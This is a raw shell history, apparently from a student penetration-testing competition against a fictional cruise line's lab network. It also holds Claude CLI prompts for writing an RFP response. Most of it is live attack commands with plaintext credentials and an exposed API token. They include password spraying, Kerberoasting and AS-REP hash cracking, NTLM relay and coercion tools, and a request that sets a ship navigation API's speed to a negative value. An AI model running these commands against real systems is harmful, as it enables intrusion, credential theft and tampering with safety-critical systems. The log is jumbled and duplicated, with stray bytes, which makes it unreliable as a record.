echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.zshrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team2-key6-afedbe76-b55f-4233-a28c-089290d4461b"' >> ~/.zshrc
source ~/.zshrc
clear
claude --version
clear
claude
clear
claude --help
claude --system-prompt
claude --system-prompt
claude --system-prompt You are a cybersecurity Risk Manager as an External Cybersecurity Consultant formally engaged to support All Ports Tours during a black box security Re-assessment  of safety-critical maritime, passenger and operational techno;logy systems.\
\
Client Name: All Ports Tours.\
Industry: Maritime/ Cruise ship operations\
Assessment type: Black box security re-assessment.\
Security Critiucality:l Extreme higfh.\
\
Generate a formal word of 2 pages and pptx formated pitch let the word be of pages and pptx 3-4 slides.\\
\
You are part from externa;l consultants that you are consulted by APT which is a mid sized cruise organization that uses sunset as a service as slogan for the company that keeps the humna life on the cruises its top priority. as part of the currently conducted security re-assessment you are requested to respond to RFP for working wiht the client again as part of purple team through another engagement. make sure that all of the concerns are captured as following:\
Request for Proposal (RFP): Purple Team Engagement for All Ports Tours\
\
1. Threat Actor Group Assessment\
\
Responders must identify the cyber threat actor group assessed to pose the greatest threat to All Ports Tours. This should be supported by current threat intelligence, including rationale, targeting behaviors, sector-relevant motivations, and historical activity relevant to maritime, travel, or hospitality sectors.\
\
2. Most Likely Attack Chain\
\
Responders must describe the full attack chain that the identified threat group is most likely to use against All Ports Tours. At a minimum, address:\
\
· Initial access vectors\
\
· Command and control techniques\
\
· Privilege escalation methods\
\
· Internal reconnaissance and lateral movement expectations\
\
· Likely objectives (e.g., data exfiltration, operational disruption, financial extortion) and associated actions on objectives\
\
3. Detection & Disruption Opportunities\
\
Responders must identify specific phases in the attack chain where All Ports Tours has opportunities to detect, delay, or disrupt the attacker. Please Include:\
\
· Log sources\
\
· Network choke points\
\
· Endpoint detection opportunities\
\
· Identity security layers\
\
· Behavioral indicators\
\
4. Compensating Controls & Detection Alerts to Validate\
\
Responders must outline the compensating controls and detection alerts that will be validated during the Purple Team engagement.\
\
5. Anticipated Deliverables and Outcomes\
\
Responders must describe deliverables and outcomes of the engagement, describing how they will benefit the defensive posture of All Ports Tours.\
\
5.a. Responders must describe in a statement of work for how they will engage with the All Ports Tours Blue Team to ensure a productive engagement.


_raw:
mousepad /tmp/APT_Purple_Team_Pitch_Presentation.md
mousepad /tmp/APT_Purple_Team_RFP_Response.md


_raw:
claude --help
claude --system-prompt [200~You are a cybersecurity Risk Manager as an External Cybersecurity Consultant formally engaged to support All Ports Tours during a black box security Re-assessment of safety-critical maritime, passenger and operational technology systems.
Client Name: All Ports Tours.
Industry: Maritime/ Cruise ship operations
Assessment type: Black box security re-assessment.
Security Critiucality:l Extreme high.
You are part from external consultants that you are consulted by APT which is a mid sized cruise organization that uses sunset as a service as slogan for the company that keeps the humna life on the cruises its top priority.
APT environment includes the following:
AD environment
AI chat service
HVAC API
bridge navigation system
VSAT
clear
claude --help
clear
claude --system-prompt You are a cybersecurity Risk Manager as an External Cybersecurity Consultant formally engaged to support All Ports Tours during a black box security Re-assessment of safety-critical maritime, passenger and operational technology systems. /\
\
Client Name: All Ports Tours. /\
Industry: Maritime/ Cruise ship operations /\
Assessment type: Black box security re-assessment. /\
Security Critiucality:l Extreme high. /\
\
You are part from external consultants that you are consulted by APT which is a mid sized cruise organization that uses sunset as a service as slogan for the company that keeps the human life on the cruises its top priority. /\
\
APT environment includes the following: /\
AD environment / \
AI chat service / \
HVAC API /\
bridge navigation system /\
VSAT /\
Room service website /
clear
claude --system-prompt "You are a cybersecurity Risk Manager as an External Cybersecurity Consultant formally engaged to support All Ports Tours during a black box security Re-assessment of safety-critical maritime, passenger and operational technology systems. /\
\
Client Name: All Ports Tours. /\
Industry: Maritime/ Cruise ship operations /\
Assessment type: Black box security re-assessment. /\
Security Critiucality:l Extreme high. /\
\
You are part from external consultants that you are consulted by APT which is a mid sized cruise organization that uses sunset as a service as slogan for the company that keeps the human life on the cruises its top priority. /\
\
APT environment includes the following: /\
AD environment / \
AI chat service / \
HVAC API /\
bridge navigation system /\
VSAT /\
Room service website / "


_raw: : 1767995575:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt "Password123"


_raw: : 1767995566:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt ""


_raw: : 1767995531:0;nxc smb 10.0.1.6 -u users.txt -p updatepass1.txt --continue-on-success | grep +


_raw: : 1767995524:2;nxc smb 10.0.1.6 -u users.txt -p updatepass1.txt --continue-on-success


_raw: : 1767995519:0;mv weird_hashes.txt hash1.txt


_raw:
: 1767995510:0;mysql -h 10.0.1.13 -u boatgps -p'@nchor2024' gps_tracker --skip-ssl \\
    -e "SELECT id, speed_knots, heading FROM current_voyage WHERE id = 1;"\


_raw: : 1767995503:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt "P@assw0rd"


_raw:
: 1767995492:0;curl -s -X POST "http://10.0.1.13:8080/api/navigation.php?action=speed" \\
    -H "Authorization: Bearer $TOKEN" \\
    -H "Content-Type: application/json" \\
    -d '{"speed_knots": -100}' \\
    | python3 -m json.tool\


_raw: : 1767995486:0;curl -s "http://10.0.1.13:8080/api/navigation.php?action=speed" | python3 -m json.tool\


_raw: : 1767995462:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt "@nchor2024"


_raw: : 1767995444:0;./kerbrute passwordspray -d 10.0.1.6 -d allports.local users.txt "guest"


_raw:
responder -I eth0 -wv
sudo responder -I eth0 -wv
impacket-ntlmrelayx -t http://10.0.1.20:5985 -smb2support --no-smb-server --no-http-server -c "whoami"
sudo responder -I eth0 -v
impacket-ntlmrelayx -t http://10.0.1.20:5985 -smb2support --no-smb-server --no-http-server -c "whoami"
sudo responder -I eth0 -v
git clone https://github.com/nationalcptc-teamtools/university-of-florida.git
cd university-of-florida
cd cptc2026-tools/setup
chmod 777 all.sh
./all.sh
passwd
./all.sh
chmod 777 windows.sh
./windows.sh
ip a
clear
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.6 .xml 10.0.1.6
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.6.xml 10.0.1.6
\
ls
sudo reponder -I eth0
sudo responder -I eth0
alid after:  2036-01-05T22:35:05\
| tls-alpn: \
|_  http/1.1\
|_ssl-date: TLS randomness does not represent time\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
9389/tcp  open  mc-nmf        .NET Message Framing\
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)\
|_http-server-header: Microsoft-HTTPAPI/2.0\
|_http-title: Not Found\
49297/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0\
49298/tcp open  msrpc         Microsoft Windows RPC\
49303/tcp open  msrpc         Microsoft Windows RPC\
49310/tcp open  msrpc         Microsoft Windows RPC\
49315/tcp open  msrpc         Microsoft Windows RPC\
49664/tcp open  msrpc         Microsoft Windows RPC\
49665/tcp open  msrpc         Microsoft Windows RPC\
49666/tcp open  msrpc         Microsoft Windows RPC\
49667/tcp open  msrpc         Microsoft Windows RPC\
49668/tcp open  msrpc         Microsoft Windows RPC\
49670/tcp open  msrpc         Microsoft Windows RPC\
49673/tcp open  msrpc         Microsoft Windows RPC\
57657/tcp open  msrpc         Microsoft Windows RPC\
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).\
TCP/IP fingerprint:\
OS:SCAN(V=7.95%E=4%D=1/9%OT=53%CT=1%CU=39933%PV=Y%DS=2%DC=I%G=Y%TM=69611C9B\
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=105%TI=I%CI=I%TS=A)SEQ(SP=10\
OS:4%GCD=1%ISR=10C%TI=I%CI=I%TS=A)SEQ(SP=105%GCD=2%ISR=10A%TI=I%CI=I%TS=A)S\
OS:EQ(SP=106%GCD=1%ISR=10B%CI=I%TS=A)SEQ(SP=106%GCD=1%ISR=10D%TI=I%CI=I%TS=\
OS:A)OPS(O1=M5B4NW8ST11%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5\
OS:B4NW8ST11%O6=M5B4ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFD\
OS:C)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S\
OS:+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=\
OS:)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%\
OS:A=O%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIP\
OS:CK=G%RUCK=G%RUD=G)IE(R=N)\
\
Network Distance: 2 hops\
Service Info: Host: APT-DC-01; OS: Windows; CPE: cpe:/o:microsoft:windows\
\
Host script results:\
| smb2-security-mode: \
|   3:1:1: \
|_    Message signing enabled and required\
| smb2-time: \


_raw:
nc -lvnp 2626
ssh pentest@10.0.1.30
ssh -vvv pentest@10.0.1.30
ip a
nc -lvnp 2626
clear
sqlmap -h
clear
mysql -u root -h 10.0.1.13 -p
mysql -u root -h 10.0.1.13
mysql -u root -h 10.0.1.13 --skip-ssl
nmap -sC -sV 10.0.1.13 -p 3306
mysql -u root -h 10.0.1.13 --skip-ssl
mysql -u root -h 10.0.1.13 -p --skip-ssl
mysql -u admin -h 10.0.1.13 -p --skip-ssl
mysql -u admin -h 10.0.1.13 --skip-ssl
mysql -u root -h 10.0.1.13 --skip-ssl
mysql -u root -h 10.0.1.13 -p --skip-ssl
mysql -u captain -h 10.0.1.13 -p --skip-ssl
mysql -u admin -h 10.0.1.13 -p --skip-ssl


_raw:
nmap -sC -sV 10.0.1.30 -p 22
# From public github\
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh > linpeas.sh
ls
python -m http.server 8080
clear
cd /usr/share/wordlists
ls
tar -xvf rockyou.txt.gz
unzip rockyou.txt.gz
ls
tar -xvzf rockyou.txt.gz
gunzip rockyou.txt.gz
sudo gunzip rockyou.txt.gz
ls
cd ~/apt-pentest
ls
clear


_raw: : 1767995321:0;# requesting: sAMAccountName


_raw: : 1767995321:0;⃴\x83\xB4⃴\x80$ ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName


_raw: : 1767995321:0;⃴\x83\xB4⃴\x80$ #SVC_STABILIZE password was cracked its 1gyroscope


_raw: : 1767995321:0;ServicePrincipalName  Name           MemberOf  PasswordLastSet             LastLogon  Delegation


_raw: : 1767995321:0;Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies


_raw: : 1767995321:0;⃴\x83\xB4⃴\x80$ impacket-GetUserSPNs allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6


_raw: : 1767995321:0;Unable to connect with SMB1 -- no workgroup available


_raw: : 1767995321:0;do_connect: Connection to 10.0.1.6 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)


_raw: : 1767995321:0;Reconnecting with SMB1 for workgroup listing.


_raw: : 1767995321:0;SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)


_raw: : 1767995321:0;SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)


_raw: : 1767995321:0;SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)


_raw: : 1767995321:0;SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)


_raw: : 1767995321:0;SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)


_raw: : 1767995321:0;SeImpersonatePrivilege          0:29 (0x0:0x1d)


_raw: : 1767995321:0;SeManageVolumePrivilege                 0:28 (0x0:0x1c)


_raw: : 1767995321:0;SeEnableDelegationPrivilege             0:27 (0x0:0x1b)


_raw: : 1767995321:0;SeRemoteShutdownPrivilege               0:24 (0x0:0x18)


_raw: : 1767995321:0;SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)


_raw: : 1767995321:0;SeCreatePermanentPrivilege              0:16 (0x0:0x10)


_raw: : 1767995321:0;SeCreatePagefilePrivilege               0:15 (0x0:0xf)


_raw: : 1767995321:0;SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)


_raw: : 1767995321:0;SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)


_raw: : 1767995321:0;SeSystemtimePrivilege           0:12 (0x0:0xc)


_raw: : 1767995321:0;SeSystemProfilePrivilege                0:11 (0x0:0xb)


_raw: : 1767995321:0;SeLoadDriverPrivilege           0:10 (0x0:0xa)


_raw: : 1767995321:0;SeTakeOwnershipPrivilege                0:9 (0x0:0x9)


_raw: : 1767995321:0;SeMachineAccountPrivilege               0:6 (0x0:0x6)


_raw: : 1767995321:0;SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)


_raw: : 1767995321:0;SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)


_raw: : 1767995321:0;SeCreateTokenPrivilege          0:2 (0x0:0x2)


_raw: : 1767995321:0;SeDelegateSessionUserImpersonatePrivilege               0:36 (0x0:0x24)


_raw: : 1767995321:0;SeCreateSymbolicLinkPrivilege           0:35 (0x0:0x23)


_raw: : 1767995321:0;SeIncreaseWorkingSetPrivilege           0:33 (0x0:0x21)


_raw: : 1767995321:0;SeTrustedCredManAccessPrivilege                 0:31 (0x0:0x1f)


_raw: : 1767995321:0;SeCreateGlobalPrivilege                 0:30 (0x0:0x1e)


_raw: : 1767995321:0;SeImpersonatePrivilege          0:29 (0x0:0x1d)


_raw: : 1767995321:0;SeManageVolumePrivilege                 0:28 (0x0:0x1c)


_raw: : 1767995321:0;SeEnableDelegationPrivilege             0:27 (0x0:0x1b)


_raw: : 1767995321:0;SeRemoteShutdownPrivilege               0:24 (0x0:0x18)


_raw: : 1767995321:0;SeSystemEnvironmentPrivilege            0:22 (0x0:0x16)


_raw: : 1767995321:0;SeCreatePermanentPrivilege              0:16 (0x0:0x10)


_raw: : 1767995321:0;SeCreatePagefilePrivilege               0:15 (0x0:0xf)


_raw: : 1767995321:0;SeIncreaseBasePriorityPrivilege                 0:14 (0x0:0xe)


_raw: : 1767995321:0;SeProfileSingleProcessPrivilege                 0:13 (0x0:0xd)


_raw: : 1767995321:0;SeSystemtimePrivilege           0:12 (0x0:0xc)


_raw: : 1767995321:0;SeSystemProfilePrivilege                0:11 (0x0:0xb)


_raw: : 1767995321:0;SeLoadDriverPrivilege           0:10 (0x0:0xa)


_raw: : 1767995321:0;SeTakeOwnershipPrivilege                0:9 (0x0:0x9)


_raw: : 1767995321:0;SeMachineAccountPrivilege               0:6 (0x0:0x6)


_raw: : 1767995321:0;SeIncreaseQuotaPrivilege                0:5 (0x0:0x5)


_raw: : 1767995321:0;SeAssignPrimaryTokenPrivilege           0:3 (0x0:0x3)


_raw: : 1767995321:0;SeCreateTokenPrivilege          0:2 (0x0:0x2)


_raw: : 1767995321:0;Candidates.#01...: 1hyundai. -> 1furrstenfeld


_raw: : 1767995321:0;Candidate.Engine.: Device Generator


_raw: : 1767995321:0;Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1


_raw: : 1767995321:0;Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)


_raw: : 1767995321:0;Kernel.Feature...: Pure Kernel (password length 0-256 bytes)


_raw: : 1767995321:0;[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s


_raw: : 1767995321:0;* Filename..: /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;Host memory allocated for this attack: 513 MB (1550 MB free)


_raw: : 1767995321:0;Watchdog: Temperature abort trigger disabled.


_raw: : 1767995321:0;Watchdog: Hardware monitoring interface not found on your system.


_raw: : 1767995321:0;See the above message to find out about the exact limits.


_raw: : 1767995321:0;If you want to switch to optimized kernels, append -O to your commandline.


_raw: : 1767995321:0;Pure kernels can crack longer passwords, but drastically reduce performance.


_raw: : 1767995321:0;ATTENTION! Pure (unoptimized) backend kernels selected.


_raw: : 1767995321:0;Hashes: 1 digests; 1 unique digests, 1 unique salts


_raw: : 1767995321:0;Hashfile 'svchash.txt' on line 2 (      ): Salt-length exception


_raw: : 1767995321:0;Maximum salt length supported by kernel: 256


_raw: : 1767995321:0;Minimum salt length supported by kernel: 0


_raw: : 1767995321:0;Maximum password length supported by kernel: 256


_raw: : 1767995321:0;Minimum password length supported by kernel: 0


_raw: : 1767995321:0;* Device #01: cpu-haswell-AMD EPYC-Rome Processor, 2948/5896 MB (1024 MB allocatable), 4MCU


_raw: : 1767995321:0;OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]


_raw: : 1767995321:0;⃴\x83\xB4⃴\x80$ hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;smbmap -H 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' -R NETLOGON --depth 10


_raw: : 1767995321:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(&(objectClass=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" sAMAccountName


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --groups | grep -i "pentester"


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --groups


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 -u pentester -p ')u1h55hm-h(M(7nV' --users > domain_users.txt


_raw: : 1767995321:0;hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt --force


_raw: : 1767995321:0;impacket-GetNPUsers allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6 -request -format hashcat -outputfile asrep.txt


_raw: : 1767995321:0;grep -r -i "password\|cpassword\|pwd" SYSVOL/ NETLOGON/


_raw: : 1767995321:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(&(objectClass=user)(servicePrincipalName=*))" sAMAccountName servicePrincipalName


_raw: : 1767995321:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(adminCount=1)" sAMAccountName


_raw: : 1767995321:0;ldapsearch -x -H ldap://10.0.1.6 -D "REDACTED_EMAIL" -w ')u1h55hm-h(M(7nV' -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName | grep sAMAccountName


_raw: : 1767995321:0;#SVC_STABILIZE password was cracked its 1gyroscope


_raw: : 1767995321:0;impacket-GetUserSPNs allports.local/pentester:')u1h55hm-h(M(7nV' -dc-ip 10.0.1.6


_raw: : 1767995321:0;rpcclient -U "pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumprivs"


_raw: : 1767995321:0;hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;john --format=krb5tgs svchash.txt --wordlist=/usr/share/wordlists/rockyou.txt.gz


_raw: : 1767995321:0;john --format=krb5tgs svchash.txt --wordlist=/usr/share/wordlists/rockyou.txt


_raw: : 1767995321:0;hashcat -m 13100 svchash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1767995321:0;hashcat -m 13100 svc_stabilize.hash /usr/share/wordlists/rockyou.txt


_raw: : 1767995321:0;sudo apt install flameshot


_raw: : 1767995321:0;impacket-GetUserSPNs allports.local/pentester:")u1h55hm-h(M(7nV" -dc-ip 10.0.1.6 -request-user svc_stabilize


_raw: : 1767995321:0;impacket-GetUserSPNs allports.local/pentester:)u1h55hm-h(M(7nV -dc-ip 10.0.1.6 -request-user svc_stabilize


_raw: : 1767995321:0;rpcclient -U "allports.local/pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "getdompwinfo"


_raw: : 1767995321:0;rpcclient -U "allports.local/USERNAME%PASSWORD" 10.0.1.6 -c "getdompwinfo"


_raw: : 1767995321:0;rpcclient -U "allports.local/pentester%)u1h55hm-h(M(7nV" 10.0.1.6 -c "enumdomusers"


_raw: : 1767995321:0;rpcclient -U "allports.local/USERNAME%PASSWORD" 10.0.1.6 -c "enumdomusers"


_raw: : 1767995321:0;python3 -c "from impacket import system_errors; from impacket.dcerpc.v5 import transport, epm; stringbinding = r'ncacn_np:10.0.1.6[\PIPE\spoolss]'; rpctransport = transport.DCERPCTransportFactory(stringbinding); rpctransport.connect(); print('Connected to Print Spooler')"


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 --gen-relay-list relay_targets.txt


_raw: : 1767995321:0;wsgidav --host=0.0.0.0 --port=80 --root=/tmp/webdav --auth=anonymous


_raw: : 1767995321:0;impacket-ntlmrelayx -t ldap://10.0.1.6 -smb2support --no-http-server --no-wcf-server


_raw:
: 1767995321:0;rpcclient -U "" -N 10.0.1.6 <<EOF\
srvinfo\
enumdomains\
quit\
EOF


_raw: : 1767995321:0;python3 shadowcoerce.py -d allports.local -u '' -p '' --target 10.0.1.6 --listener 10.0.254.202


_raw: : 1767995321:0;git clone https://github.com/ShutdownRepo/ShadowCoerce.git


_raw: : 1767995321:0;git clone https://github.com/Wh04m1001/DFSCoerce.git


_raw: : 1767995321:0;sudo apt install python3-coercer


_raw: : 1767995321:0;git clone https://github.com/topotam/PetitPotam.git


_raw: : 1767995321:0;git clone https://github.com/dirkjanm/krbrelayx


_raw: : 1767995321:0;sudo apt install schtasks


_raw: : 1767995321:0;impacket-atexec allports.local/guest:""@10.0.1.6 "whoami"


_raw: : 1767995321:0;impacket-atexec -nooutput allports.local/guest:""@10.0.1.6 "whoami"


_raw: : 1767995321:0;git clone https://github.com/RUB-NDS/PRET.git


_raw: : 1767995321:0;git clone https://github.com/leechristensen/SpoolSample


_raw: : 1767995321:0;git clone https://github.com/cube0x0/CVE-2021-1675.git


_raw: : 1767995321:0;sudo apt install rpcdump.py


_raw: : 1767995321:0;grep -i "backup\|print\|schedule\|task" rpc_endpoints.txt


_raw: : 1767995321:0;impacket-rpcdump 10.0.1.6 | tee rpc_endpoints.txt


_raw: : 1767995321:0;sudo apt install ldapsearch


_raw: : 1767995321:0;sudo apt install kerbrute


_raw: : 1767995321:0;kerbrute userenum -d allports.local --dc 10.0.1.6 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt


_raw: : 1767995321:0;impacket-ntlmrelayx -tf relay_targets.txt -smb2support -socks


_raw: : 1767995321:0;crackmapexec smb 10.0.1.6 --gen-relay-list relay_targets.txt


_raw: : 1767995321:0;crackmapexec smb 10.0.1.0/24 --gen-relay-list relay_targets.txt


_raw: : 1767995321:0;impacket-ntlmrelayx -6 -t ldaps://10.0.1.6 -wh fakewpad.allports.local -l loot/


_raw: : 1767995321:0;impacket-ntlmrelayx -6 -t ldaps://10.0.1.6 -wh fakewpad.allports.local -l


_raw: : 1767995321:0;kerbrute userenum -d allports.local --dc 10.0.1.6 usernames.txt


_raw: : 1767995321:0;git clone https://github.com/ropnop/kerbrute